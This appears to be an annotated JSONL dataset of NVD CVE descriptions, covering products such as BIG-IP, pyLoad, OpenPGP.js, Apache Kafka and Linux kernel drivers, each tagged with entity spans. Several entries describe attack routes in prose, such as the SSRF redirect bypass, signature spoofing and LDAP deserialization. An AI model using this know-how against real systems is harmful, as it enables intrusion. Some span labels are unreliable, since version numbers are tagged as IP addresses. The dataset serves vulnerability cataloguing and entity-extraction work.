{"text": "A vulnerability has been identified in SIMATIC Reader RF610R CMIIT (6GT2811-6BC10-2AA0) (All versions < V4.2), SIMATIC Reader RF610R ETSI (6GT2811-6BC10-0AA0) (All versions < V4.2), SIMATIC Reader RF610R FCC (6GT2811-6BC10-1AA0) (All versions < V4.2), SIMATIC Reader RF615R CMIIT (6GT2811-6CC10-2AA0) (All versions < V4.2), SIMATIC Reader RF615R ETSI (6GT2811-6CC10-0AA0) (All versions < V4.2), SIMATIC Reader RF615R FCC (6GT2811-6CC10-1AA0) (All versions < V4.2), SIMATIC Reader RF650R ARIB (6GT2811-6AB20-4AA0) (All versions < V4.2), SIMATIC Reader RF650R CMIIT (6GT2811-6AB20-2AA0) (All versions < V4.2), SIMATIC Reader RF650R ETSI (6GT2811-6AB20-0AA0) (All versions < V4.2), SIMATIC Reader RF650R FCC (6GT2811-6AB20-1AA0) (All versions < V4.2), SIMATIC Reader RF680R ARIB (6GT2811-6AA10-4AA0) (All versions < V4.2), SIMATIC Reader RF680R CMIIT (6GT2811-6AA10-2AA0) (All versions < V4.2), SIMATIC Reader RF680R ETSI (6GT2811-6AA10-0AA0) (All versions < V4.2), SIMATIC Reader RF680R FCC (6GT2811-6AA10-1AA0) (All versions < V4.2), SIMATIC Reader RF685R ARIB (6GT2811-6CA10-4AA0) (All versions < V4.2), SIMATIC Reader RF685R CMIIT (6GT2811-6CA10-2AA0) (All versions < V4.2), SIMATIC Reader RF685R ETSI (6GT2811-6CA10-0AA0) (All versions < V4.2), SIMATIC Reader RF685R FCC (6GT2811-6CA10-1AA0) (All versions < V4.2), SIMATIC RF1140R (6GT2831-6CB00) (All versions < V1.1), SIMATIC RF1170R (6GT2831-6BB00) (All versions < V1.1), SIMATIC RF166C (6GT2002-0EE20) (All versions < V2.2), SIMATIC RF185C (6GT2002-0JE10) (All versions < V2.2), SIMATIC RF186C (6GT2002-0JE20) (All versions < V2.2), SIMATIC RF186CI (6GT2002-0JE50) (All versions < V2.2), SIMATIC RF188C (6GT2002-0JE40) (All versions < V2.2), SIMATIC RF188CI (6GT2002-0JE60) (All versions < V2.2), SIMATIC RF360R (6GT2801-5BA30) (All versions < V2.2). The affected applications contain configuration files which can be modified. An attacker with privilege access can modify these files and enable features that are not released for this device.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-37990"}}
{"text": "On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, 12.1.x before 12.1.5.3, and 11.6.x before 11.6.5.3, a malicious HTTP response to an Advanced WAF/BIG-IP ASM virtual server with Login Page configured in its policy may trigger a buffer overflow, resulting in a DoS attack. In certain situations, it may allow remote code execution (RCE), leading to complete system compromise. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.", "spans": {"IP_ADDRESS: 16.0.1.1": [[33, 41]], "IP_ADDRESS: 15.1.2.1": [[57, 65]], "IP_ADDRESS: 13.1.3.6": [[103, 111]], "IP_ADDRESS: 12.1.5.3": [[127, 135]], "IP_ADDRESS: 11.6.5.3": [[155, 163]], "VULNERABILITY: remote code execution": [[371, 392]], "VULNERABILITY: buffer overflow": [[291, 306]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-22992"}}
{"text": "Multiple XSS issues were discovered in Sage XRT Business Exchange 12.4.302 that allow an attacker to execute JavaScript code in the context of other users' browsers. The attacker needs to be authenticated to reach the vulnerable features. An issue is present in the Filters and Display model features (OnlineBanking > Web Monitoring > Settings > Filters / Display models). The name of a filter or a display model is interpreted as HTML and can thus embed JavaScript code, which is executed when displayed. This is a stored XSS. Another issue is present in the Notification feature (OnlineBanking > Configuration > Notifications and alerts > Alerts *). The name of an alert is interpreted as HTML, and can thus embed JavaScript code, which is executed when displayed. This is a stored XSS. (Also, an issue is present in the File download feature, accessible via /OnlineBanking/cgi/isapi.dll/DOWNLOADFRS. When requesting to show the list of downloadable files, the contents of three form fields are embedded in the JavaScript code without prior sanitization. This is essentially a self-XSS.)", "spans": {"FILEPATH: /OnlineBanking/cgi/isapi.dll/DOWNLOADFRS.": [[861, 902]], "VULNERABILITY: stored XSS": [[516, 526], [777, 787]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-34323"}}
{"text": "pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, pyLoad has a server-side request forgery (SSRF) vulnerability. The fix for CVE-2026-33992 added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter. An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.", "spans": {"CVE_ID: CVE-2026-33992": [[174, 188]], "SYSTEM: Python": [[61, 67]], "VULNERABILITY: server-side request forgery": [[112, 139]], "VULNERABILITY: SSRF": [[141, 145], [462, 466], [532, 536]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35459"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: Fix NULL deref in ntfs_update_mftmirr\n\nIf ntfs_fill_super() wasn't called then sbi->sb will be equal to NULL.\nCode should check this ptr before dereferencing. Syzbot hit this issue\nvia passing wrong mount param as can be seen from log below\n\nFail log:\nntfs3: Unknown parameter 'iochvrset'\ngeneral protection fault, probably for non-canonical address 0xdffffc0000000003: 0000 [#1] PREEMPT SMP KASAN\nKASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]\nCPU: 1 PID: 3589 Comm: syz-executor210 Not tainted 5.18.0-rc3-syzkaller-00016-gb253435746d9 #0\n...\nCall Trace:\n <TASK>\n put_ntfs+0x1ed/0x2a0 fs/ntfs3/super.c:463\n ntfs_fs_free+0x6a/0xe0 fs/ntfs3/super.c:1363\n put_fs_context+0x119/0x7a0 fs/fs_context.c:469\n do_new_mount+0x2b4/0xad0 fs/namespace.c:3044\n do_mount fs/namespace.c:3383 [inline]\n __do_sys_mount fs/namespace.c:3591 [inline]", "spans": {"FILEPATH: /ntfs3/super.c": [[691, 705], [736, 750]], "FILEPATH: fs_context.c": [[787, 799]], "FILEPATH: namespace.c": [[833, 844], [863, 874], [908, 919]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50057"}}
{"text": "Espressif ESP-IDF 2.x, 3.0.x through 3.0.9, 3.1.x through 3.1.7, 3.2.x through 3.2.3, 3.3.x through 3.3.2, and 4.0.x through 4.0.1 has a Buffer Overflow in BluFi provisioning in btc_blufi_recv_handler function in blufi_prf.c. An attacker can send a crafted BluFi protocol Write Attribute command to characteristic 0xFF01. With manipulated packet fields, there is a buffer overflow.", "spans": {"FILEPATH: blufi_prf.c": [[213, 224]], "VULNERABILITY: Buffer Overflow": [[137, 152]], "VULNERABILITY: buffer overflow": [[365, 380]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-16146"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npfcp: Destroy device along with udp socket's netns dismantle.\n\npfcp_newlink() links the device to a list in dev_net(dev) instead\nof net, where a udp tunnel socket is created.\n\nEven when net is removed, the device stays alive on dev_net(dev).\nThen, removing net triggers the splat below. [0]\n\nIn this example, pfcp0 is created in ns2, but the udp socket is\ncreated in ns1.\n\n  ip netns add ns1\n  ip netns add ns2\n  ip -n ns1 link add netns ns2 name pfcp0 type pfcp\n  ip netns del ns1\n\nLet's link the device to the socket's netns instead.\n\nNow, pfcp_net_exit() needs another netdev iteration to remove\nall pfcp devices in the netns.\n\npfcp_dev_list is not used under RCU, so the list API is converted\nto the non-RCU variant.\n\npfcp_net_exit() can be converted to .exit_batch_rtnl() in net-next.\n\n[0]:\nref_tracker: net notrefcnt@00000000128b34dc has 1/1 users at\n     sk_alloc (./include/net/net_namespace.h:345 net/core/sock.c:2236)\n     inet_create (net/ipv4/af_inet.c:326 net/ipv4/af_inet.c:252)\n     __sock_create (net/socket.c:1558)\n     udp_sock_create4 (net/ipv4/udp_tunnel_core.c:18)\n     pfcp_create_sock (drivers/net/pfcp.c:168)\n     pfcp_newlink (drivers/net/pfcp.c:182 drivers/net/pfcp.c:197)\n     rtnl_newlink (net/core/rtnetlink.c:3786 net/core/rtnetlink.c:3897 net/core/rtnetlink.c:4012)\n     rtnetlink_rcv_msg (net/core/rtnetlink.c:6922)\n     netlink_rcv_skb (net/netlink/af_netlink.c:2542)\n     netlink_unicast (net/netlink/af_netlink.c:1321 net/netlink/af_netlink.c:1347)\n     netlink_sendmsg (net/netlink/af_netlink.c:1891)\n     ____sys_sendmsg (net/socket.c:711 net/socket.c:726 net/socket.c:2583)\n     ___sys_sendmsg (net/socket.c:2639)\n     __sys_sendmsg (net/socket.c:2669)\n     do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83)\n     entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\nWARNING: CPU: 1 PID: 11 at lib/ref_tracker.c:179 ref_tracker_dir_exit (lib/ref_tracker.c:179)\nModules linked in:\nCPU: 1 UID: 0 PID: 11 Comm: kworker/u16:0 Not tainted 6.13.0-rc5-00147-g4c1224501e9d #5\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nWorkqueue: netns cleanup_net\nRIP: 0010:ref_tracker_dir_exit (lib/ref_tracker.c:179)\nCode: 00 00 00 fc ff df 4d 8b 26 49 bd 00 01 00 00 00 00 ad de 4c 39 f5 0f 85 df 00 00 00 48 8b 74 24 08 48 89 df e8 a5 cc 12 02 90 <0f> 0b 90 48 8d 6b 44 be 04 00 00 00 48 89 ef e8 80 de 67 ff 48 89\nRSP: 0018:ff11000007f3fb60 EFLAGS: 00010286\nRAX: 00000000000020ef RBX: ff1100000d6481e0 RCX: 1ffffffff0e40d82\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffffff8423ee3c\nRBP: ff1100000d648230 R08: 0000000000000001 R09: fffffbfff0e395af\nR10: 0000000000000001 R11: 0000000000000000 R12: ff1100000d648230\nR13: dead000000000100 R14: ff1100000d648230 R15: dffffc0000000000\nFS:  0000000000000000(0000) GS:ff1100006ce80000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00005620e1363990 CR3: 000000000eeb2002 CR4: 0000000000771ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n <TASK>\n ? __warn (kernel/panic.c:748)\n ? ref_tracker_dir_exit (lib/ref_tracker.c:179)\n ? report_bug (lib/bug.c:201 lib/bug.c:219)\n ? handle_bug (arch/x86/kernel/traps.c:285)\n ? exc_invalid_op (arch/x86/kernel/traps.c:309 (discriminator 1))\n ? asm_exc_invalid_op (./arch/x86/include/asm/idtentry.h:621)\n ? _raw_spin_unlock_irqrestore (./arch/x86/include/asm/irqflags.h:42 ./arch/x86/include/asm/irqflags.h:97 ./arch/x86/include/asm/irqflags.h:155 ./include/linux/spinlock_api_smp.h:151 kernel/locking/spinlock.c:194)\n ? ref_tracker_dir_exit (lib/ref_tracker.c:179)\n ? __pfx_ref_tracker_dir_exit (lib/ref_tracker.c:158)\n ? kfree (mm/slub.c:4613 mm/slub.c:4761)\n net_free (net/core/net_namespace.c:476 net/core/net_namespace.c:467)\n cleanup_net (net/cor\n---truncated---", "spans": {"DOMAIN: rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org": [[2165, 2209]], "FILEPATH: /include/net/net_namespace.h": [[942, 970]], "FILEPATH: /core/sock.c": [[978, 990]], "FILEPATH: /ipv4/af_inet.c": [[1018, 1033], [1041, 1056]], "FILEPATH: /ipv4/udp_tunnel_core.c": [[1127, 1150]], "FILEPATH: /net/pfcp.c": [[1185, 1196], [1228, 1239], [1251, 1262]], "FILEPATH: /core/rtnetlink.c": [[1290, 1307], [1316, 1333], [1342, 1359], [1393, 1410]], "FILEPATH: /netlink/af_netlink.c": [[1442, 1463], [1495, 1516], [1525, 1546], [1578, 1599]], "FILEPATH: /x86/entry/common.c": [[1784, 1803], [1811, 1830]], "FILEPATH: /x86/entry/entry_64.S": [[1876, 1897]], "FILEPATH: /01/2014": [[2212, 2220]], "FILEPATH: /x86/kernel/traps.c": [[3381, 3400], [3429, 3448]], "FILEPATH: /arch/x86/include/asm/idtentry.h": [[3496, 3528]], "FILEPATH: /arch/x86/include/asm/irqflags.h": [[3567, 3599], [3604, 3636], [3641, 3673]], "FILEPATH: /include/linux/spinlock_api_smp.h": [[3679, 3712]], "FILEPATH: /locking/spinlock.c": [[3723, 3742]], "FILEPATH: /core/net_namespace.c": [[3905, 3926], [3934, 3955]], "FILEPATH: socket.c": [[1086, 1094], [1632, 1640], [1649, 1657], [1666, 1674], [1706, 1714], [1745, 1753]], "FILEPATH: ref_tracker.c": [[1935, 1948], [1979, 1992], [2286, 2299], [3299, 3312], [3777, 3790], [3831, 3844]], "FILEPATH: panic.c": [[3257, 3264]], "FILEPATH: bug.c": [[3337, 3342], [3351, 3356]], "FILEPATH: slub.c": [[3863, 3869], [3878, 3884]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2120, 2124]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21677"}}
{"text": "OpenPGP.js is a JavaScript implementation of the OpenPGP protocol. Startinf in version 5.0.1 and prior to versions 5.11.3 and 6.1.1, a maliciously modified message can be passed to either `openpgp.verify` or `openpgp.decrypt`, causing these functions to return a valid signature verification result while returning data that was not actually signed. This flaw allows signature verifications of inline (non-detached) signed messages (using `openpgp.verify`) and signed-and-encrypted messages (using `openpgp.decrypt` with `verificationKeys`) to be spoofed, since both functions return extracted data that may not match the data that was originally signed. Detached signature verifications are not affected, as no signed data is returned in that case. In order to spoof a message, the attacker needs a single valid message signature (inline or detached) as well as the plaintext data that was legitimately signed, and can then construct an inline-signed message or signed-and-encrypted message with any data of the attacker's choice, which will appear as legitimately signed by affected versions of OpenPGP.js. In other words, any inline-signed message can be modified to return any other data (while still indicating that the signature was valid), and the same is true for signed+encrypted messages if the attacker can obtain a valid signature and encrypt a new message (of the attacker's choice) together with that signature. The issue has been patched in versions 5.11.3 and 6.1.1. Some workarounds are available. When verifying inline-signed messages, extract the message and signature(s) from the message returned by `openpgp.readMessage`, and verify the(/each) signature as a detached signature by passing the signature and a new message containing only the data (created using `openpgp.createMessage`) to `openpgp.verify`.  When decrypting and verifying signed+encrypted messages, decrypt and verify the message in two steps, by first calling `openpgp.decrypt` without `verificationKeys`, and then passing the returned signature(s) and a new message containing the decrypted data (created using `openpgp.createMessage`) to `openpgp.verify`.", "spans": {"FILEPATH: OpenPGP.js": [[0, 10], [1097, 1107]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-47934"}}
{"text": "A possible security vulnerability has been identified in Apache Kafka.\nThis requires access to a alterConfig to the cluster resource, or Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config\nand a SASL-based security protocol, which has been possible on Kafka clusters since Apache Kafka 2.0.0 (Kafka Connect 2.3.0).\nWhen configuring the broker via config file or AlterConfig command, or connector via the Kafka Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config`\nproperty for any of the connector's Kafka clients to \"com.sun.security.auth.module.LdapLoginModule\", which can be done via the\n`producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties.\nThis will allow the server to connect to the attacker's LDAP server\nand deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server.\nAttacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath.\n\nSince Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box\nconfigurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector\nclient override policy that permits them.\n\nSince Apache Kafka 3.9.1/4.0.0, we have added a system property (\"-Dorg.apache.kafka.disallowed.login.modules\") to disable the problematic login modules usage\nin SASL JAAS configuration. Also by default \"com.sun.security.auth.module.JndiLoginModule,com.sun.security.auth.module.LdapLoginModule\" are disabled in Apache Kafka Connect 3.9.1/4.0.0. \n\nWe advise the Kafka users to validate connector configurations and only allow trusted LDAP configurations. Also examine connector dependencies for \nvulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation. Finally,\nin addition to leveraging the \"org.apache.kafka.disallowed.login.modules\" system property, Kafka Connect users can also implement their own connector\nclient config override policy, which can be used to control which Kafka client properties can be overridden directly in a connector config and which cannot.", "spans": {"SYSTEM: Apache Kafka": [[57, 69], [341, 353], [1153, 1165], [1325, 1337], [1505, 1517], [1810, 1822]], "VULNERABILITY: deserialization": [[957, 972], [1048, 1063]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-27818"}}
{"text": "A vulnerability has been identified in Cerberus PRO EN Engineering Tool (All versions < IP8), Cerberus PRO EN Fire Panel FC72x IP6 (All versions < IP6 SR3), Cerberus PRO EN Fire Panel FC72x IP7 (All versions < IP7 SR5), Cerberus PRO EN X200 Cloud Distribution IP7 (All versions < V3.0.6602), Cerberus PRO EN X200 Cloud Distribution IP8 (All versions < V4.0.5016), Cerberus PRO EN X300 Cloud Distribution IP7 (All versions < V3.2.6601), Cerberus PRO EN X300 Cloud Distribution IP8 (All versions < V4.2.5015), Cerberus PRO UL Compact Panel FC922/924 (All versions < MP4), Cerberus PRO UL Engineering Tool (All versions < MP4), Cerberus PRO UL X300 Cloud Distribution (All versions < V4.3.0001), Desigo Fire Safety UL Compact Panel FC2025/2050 (All versions < MP4), Desigo Fire Safety UL Engineering Tool (All versions < MP4), Desigo Fire Safety UL X300 Cloud Distribution (All versions < V4.3.0001), Sinteso FS20 EN Engineering Tool (All versions < MP8), Sinteso FS20 EN Fire Panel FC20 MP6 (All versions < MP6 SR3), Sinteso FS20 EN Fire Panel FC20 MP7 (All versions < MP7 SR5), Sinteso FS20 EN X200 Cloud Distribution MP7 (All versions < V3.0.6602), Sinteso FS20 EN X200 Cloud Distribution MP8 (All versions < V4.0.5016), Sinteso FS20 EN X300 Cloud Distribution MP7 (All versions < V3.2.6601), Sinteso FS20 EN X300 Cloud Distribution MP8 (All versions < V4.2.5015), Sinteso Mobile (All versions < V3.0.0). The network communication library in affected systems does not validate the length of certain X.509 certificate attributes which might result in a stack-based buffer overflow.\r\nThis could allow an unauthenticated remote attacker to execute code on the underlying operating system with root privileges.", "spans": {"VULNERABILITY: stack-based buffer overflow": [[1552, 1579]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-22039"}}
{"text": "The package github.com/pires/go-proxyproto before 0.5.0 are vulnerable to Denial of Service (DoS) via the parseVersion1() function. The reader in this package is a default bufio.Reader wrapping a net.Conn. It will read from the connection until it finds a newline. Since no limits are implemented in the code, a deliberately malformed V1 header could be used to exhaust memory in a server process using this code - and create a DoS. This can be exploited by sending a stream starting with PROXY and continuing to send data (which does not contain a newline) until the target stops acknowledging. The risk here is small, because only trusted sources should be allowed to send proxy protocol headers.", "spans": {"DOMAIN: github.com": [[12, 22]], "FILEPATH: /pires/go-proxyproto": [[22, 42]], "VULNERABILITY: Denial of Service": [[74, 91]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-23351"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niio: dac: ad3552r-hs: fix out-of-bound write in ad3552r_hs_write_data_source\n\nWhen simple_write_to_buffer() succeeds, it returns the number of bytes\nactually copied to the buffer. The code incorrectly uses 'count'\nas the index for null termination instead of the actual bytes copied.\nIf count exceeds the buffer size, this leads to out-of-bounds write.\nAdd a check for the count and use the return value as the index.\n\nThe bug was validated using a demo module that mirrors the original\ncode and was tested under QEMU.\n\nPattern of the bug:\n- A fixed 64-byte stack buffer is filled using count.\n- If count > 64, the code still does buf[count] = '\\0', causing an\n- out-of-bounds write on the stack.\n\nSteps for reproduce:\n- Opens the device node.\n- Writes 128 bytes of A to it.\n- This overflows the 64-byte stack buffer and KASAN reports the OOB.\n\nFound via static analysis. This is similar to the\ncommit da9374819eb3 (\"iio: backend: fix out-of-bound write\")", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[582, 586]], "VULNERABILITY: out-of-bounds write": [[401, 420], [732, 751]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23092"}}
{"text": "Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Marketing Administration). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Marketing, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [49, 55], [276, 282], [411, 417], [601, 607], [701, 707]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2861"}}
{"text": "Shopware is an open source eCommerce platform. Versions prior to 6.3.5.1 may leak of information via Store-API. The vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. We recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview. https://www.shopware.com/en/download/#shopware-6 The vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. Please check your plugins if you have it in use. Detailed technical information can be found in the upgrade information. https://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351 ### Workarounds For older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version. https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659 ### For more information https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021", "spans": {"IP_ADDRESS: 6.3.5.1": [[65, 72], [340, 347], [375, 382]], "URL: https://www.shopware.com/en/download/#shopware-6": [[453, 501]], "URL: https://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351": [[805, 875]], "URL: https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659": [[1079, 1161]], "URL: https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021": [[1187, 1270]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32711"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: VMX: Fix crash due to uninitialized current_vmcs\n\nKVM enables 'Enlightened VMCS' and 'Enlightened MSR Bitmap' when running as\na nested hypervisor on top of Hyper-V. When MSR bitmap is updated,\nevmcs_touch_msr_bitmap function uses current_vmcs per-cpu variable to mark\nthat the msr bitmap was changed.\n\nvmx_vcpu_create() modifies the msr bitmap via vmx_disable_intercept_for_msr\n-> vmx_msr_bitmap_l01_changed which in the end calls this function. The\nfunction checks for current_vmcs if it is null but the check is\ninsufficient because current_vmcs is not initialized. Because of this, the\ncode might incorrectly write to the structure pointed by current_vmcs value\nleft by another task. Preemption is not disabled, the current task can be\npreempted and moved to another CPU while current_vmcs is accessed multiple\ntimes from evmcs_touch_msr_bitmap() which leads to crash.\n\nThe manipulation of MSR bitmaps by callers happens only for vmcs01 so the\nsolution is to use vmx->vmcs01.vmcs instead of current_vmcs.\n\n  BUG: kernel NULL pointer dereference, address: 0000000000000338\n  PGD 4e1775067 P4D 0\n  Oops: 0002 [#1] PREEMPT SMP NOPTI\n  ...\n  RIP: 0010:vmx_msr_bitmap_l01_changed+0x39/0x50 [kvm_intel]\n  ...\n  Call Trace:\n   vmx_disable_intercept_for_msr+0x36/0x260 [kvm_intel]\n   vmx_vcpu_create+0xe6/0x540 [kvm_intel]\n   kvm_arch_vcpu_create+0x1d1/0x2e0 [kvm]\n   kvm_vm_ioctl_create_vcpu+0x178/0x430 [kvm]\n   kvm_vm_ioctl+0x53f/0x790 [kvm]\n   __x64_sys_ioctl+0x8a/0xc0\n   do_syscall_64+0x5c/0x90\n   entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72], [124, 127]], "VULNERABILITY: NULL pointer dereference": [[1097, 1121]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53756"}}
{"text": "Due to an Improper Initialization vulnerability in Juniper Networks Junos OS on PTX platforms and QFX10K Series with Paradise (PE) chipset-based line cards, ddos-protection configuration changes made from the CLI will not take effect as expected beyond the default DDoS (Distributed Denial of Service) settings in the Packet Forwarding Engine (PFE). This may cause BFD sessions to flap when a high rate of specific packets are received. Flapping of BFD sessions in turn may impact routing protocols and network stability, leading to a Denial of Service (DoS) condition. Continued receipt and processing of this packet will create a sustained Denial of Service (DoS) condition. This issue affects only the following platforms with Paradise (PE) chipset-based line cards: PTX1000, PTX3000 (NextGen), PTX5000, PTX10008, PTX10016 Series and QFX10002 Series. This issue affects: Juniper Networks Junos OS 17.4 versions prior to 17.4R3-S5 on PTX Series, QFX10K Series; 18.2 versions prior to 18.2R3-S8 on PTX Series, QFX10K Series; 18.3 versions prior to 18.3R3-S5 on PTX Series, QFX10K Series; 18.4 versions prior to 18.4R2-S8 on PTX Series, QFX10K Series; 19.1 versions prior to 19.1R3-S5 on PTX Series, QFX10K Series; 19.2 versions prior to 19.2R3-S2 on PTX Series, QFX10K Series; 19.3 versions prior to 19.3R3-S2 on PTX Series, QFX10K Series; 19.4 versions prior to 19.4R3-S2 on PTX Series, QFX10K Series; 20.1 versions prior to 20.1R3 on PTX Series, QFX10K Series; 20.2 versions prior to 20.2R2-S3, 20.2R3 on PTX Series, QFX10K Series; 20.3 versions prior to 20.3R2 on PTX Series, QFX10K Series; 20.4 versions prior to 20.4R2 on PTX Series, QFX10K Series.", "spans": {"ORGANIZATION: Juniper": [[51, 58], [874, 881]], "VULNERABILITY: Denial of Service": [[283, 300], [535, 552], [642, 659]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0280"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nled: qcom-lpg: Fix sleeping in atomic\n\nlpg_brighness_set() function can sleep, while led's brightness_set()\ncallback must be non-blocking. Change LPG driver to use\nbrightness_set_blocking() instead.\n\nBUG: sleeping function called from invalid context at kernel/locking/mutex.c:580\nin_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 0, name: swapper/0\npreempt_count: 101, expected: 0\nINFO: lockdep is turned off.\nCPU: 0 PID: 0 Comm: swapper/0 Tainted: G        W          6.1.0-rc1-00014-gbe99b089c6fc-dirty #85\nHardware name: Qualcomm Technologies, Inc. DB820c (DT)\nCall trace:\n dump_backtrace.part.0+0xe4/0xf0\n show_stack+0x18/0x40\n dump_stack_lvl+0x88/0xb4\n dump_stack+0x18/0x34\n __might_resched+0x170/0x254\n __might_sleep+0x48/0x9c\n __mutex_lock+0x4c/0x400\n mutex_lock_nested+0x2c/0x40\n lpg_brightness_single_set+0x40/0x90\n led_set_brightness_nosleep+0x34/0x60\n led_heartbeat_function+0x80/0x170\n call_timer_fn+0xb8/0x340\n __run_timers.part.0+0x20c/0x254\n run_timer_softirq+0x3c/0x7c\n _stext+0x14c/0x578\n ____do_softirq+0x10/0x20\n call_on_irq_stack+0x2c/0x5c\n do_softirq_own_stack+0x1c/0x30\n __irq_exit_rcu+0x164/0x170\n irq_exit_rcu+0x10/0x40\n el1_interrupt+0x38/0x50\n el1h_64_irq_handler+0x18/0x2c\n el1h_64_irq+0x64/0x68\n cpuidle_enter_state+0xc8/0x380\n cpuidle_enter+0x38/0x50\n do_idle+0x244/0x2d0\n cpu_startup_entry+0x24/0x30\n rest_init+0x128/0x1a0\n arch_post_acpi_subsys_init+0x0/0x18\n start_kernel+0x6f4/0x734\n __primary_switched+0xbc/0xc4", "spans": {"FILEPATH: /locking/mutex.c": [[329, 345]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[599, 607]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50371"}}
{"text": "A vulnerability was found in WSO2 carbon-registry up to 4.8.11. It has been rated as problematic. Affected by this issue is some unknown functionality of the file components/registry/org.wso2.carbon.registry.search.ui/src/main/resources/web/search/advancedSearchForm-ajaxprocessor.jsp of the component Advanced Search. The manipulation of the argument mediaType/rightOp/leftOp/rightPropertyValue/leftPropertyValue leads to cross site scripting. The attack may be launched remotely. Upgrading to version 4.8.12 is able to address this issue. The name of the patch is 0c827cc1b14b82d8eb86117ab2e43c34bb91ddb4. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-215900.", "spans": {"HASH: 0c827cc1b14b82d8eb86117ab2e43c34bb91ddb4": [[566, 606]], "FILEPATH: /registry/org.wso2.carbon.registry.search.ui/src/main/resources/web/search/advancedSearchForm-ajaxprocessor.jsp": [[173, 284]], "FILEPATH: /rightOp/leftOp/rightPropertyValue/leftPropertyValue": [[361, 413]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-4520"}}
